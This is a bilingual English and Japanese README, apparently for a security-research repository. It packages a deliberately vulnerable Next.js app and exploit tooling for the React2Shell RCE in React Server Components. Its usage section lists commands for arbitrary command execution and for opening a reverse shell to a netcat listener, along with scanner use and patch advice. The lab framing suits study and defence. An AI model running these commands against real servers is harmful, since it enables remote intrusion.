Lab environment and PoC exploit for CVE-2025-55182 (React2Shell), a critical RCE vulnerability in React Server Components. Includes vulnerable app, exploit scripts, and scanner for security research and education. CVE-2025-55182 (React2Shell) の実験環境と概念実証エクスプロイト。React Server Components における深刻なRCE脆弱性です。脆弱なアプリ、エクスプロイトスクリプト、スキャナを含み、セキュリティ研究と教育向けです。
このリポジトリは、React 19.x および Next.js 15.x に影響を与える React Server Components (RSC) の重大なリモートコード実行 (RCE) 脆弱性 CVE-2025-55182 を解析および再現するための完全な環境を提供します。
⚠️ 警告: このプロジェクトは意図的に脆弱なコードを含んでいます。公開サーバーや本番環境にデプロイしないでください。
react-server-dom-webpack, react-server-dom-turbopack脆弱性は、React Server Components ランタイムが HTTP リクエスト(サーバーアクション)からのシリアライズデータを処理する方法に存在します。攻撃者は悪意のある「Flight」プロトコルペイロードを細工し、サーバーによってデシリアライズされると、認証チェックが行われる前に任意のコードが実行されます。
react2shell/
├── vulnerable-app/ # Vulnerable Next.js 15 application
│ ├── app/
│ │ ├── actions.ts # Vulnerable Server Actions
│ │ └── page.tsx # UI for testing vulnerability
│ ├── Dockerfile # Container definition
│ └── package.json
├── exploit/ # Exploit tools
│ ├── exploit.py # Python PoC exploit
│ ├── scanner.py # Vulnerability scanner
│ └── quick_exploit.sh # Simple bash exploit
├── docs/ # Analysis documentation
└── docker-compose.yml # Isolated lab environment
隔離されたコンテナ内で脆弱なアプリケーションを実行します:
docker-compose up -d --build
アプリケーションは http://localhost:3000 で利用可能になります。
ブラウザで http://localhost:3000 にアクセスしてください。「React2Shell Lab」インターフェースと以下のテストパネルが表示されます:
脆弱性をテストするためのいくつかのツールを提供します。
要件をインストール:
pip install -r exploit/requirements.txt
脆弱性があるか確認:
python3 exploit/exploit.py -u http://localhost:3000 --check
コマンドを実行:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
リバースシェル(リスナーが必要。例: nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
脆弱なReact/Next.jsインスタンスをスキャン:
python3 exploit/scanner.py -u http://localhost:3000
自身のアプリケーションでこの脆弱性を修正するには:
依存関係のアップグレード:
パッチの確認:
package.json を確認して、react-server-dom-* パッケージが更新されていることを確認してください。
このプロジェクトは教育目的およびセキュリティ研究のみを目的としています。著者は、本資料の誤用について一切の責任を負いません。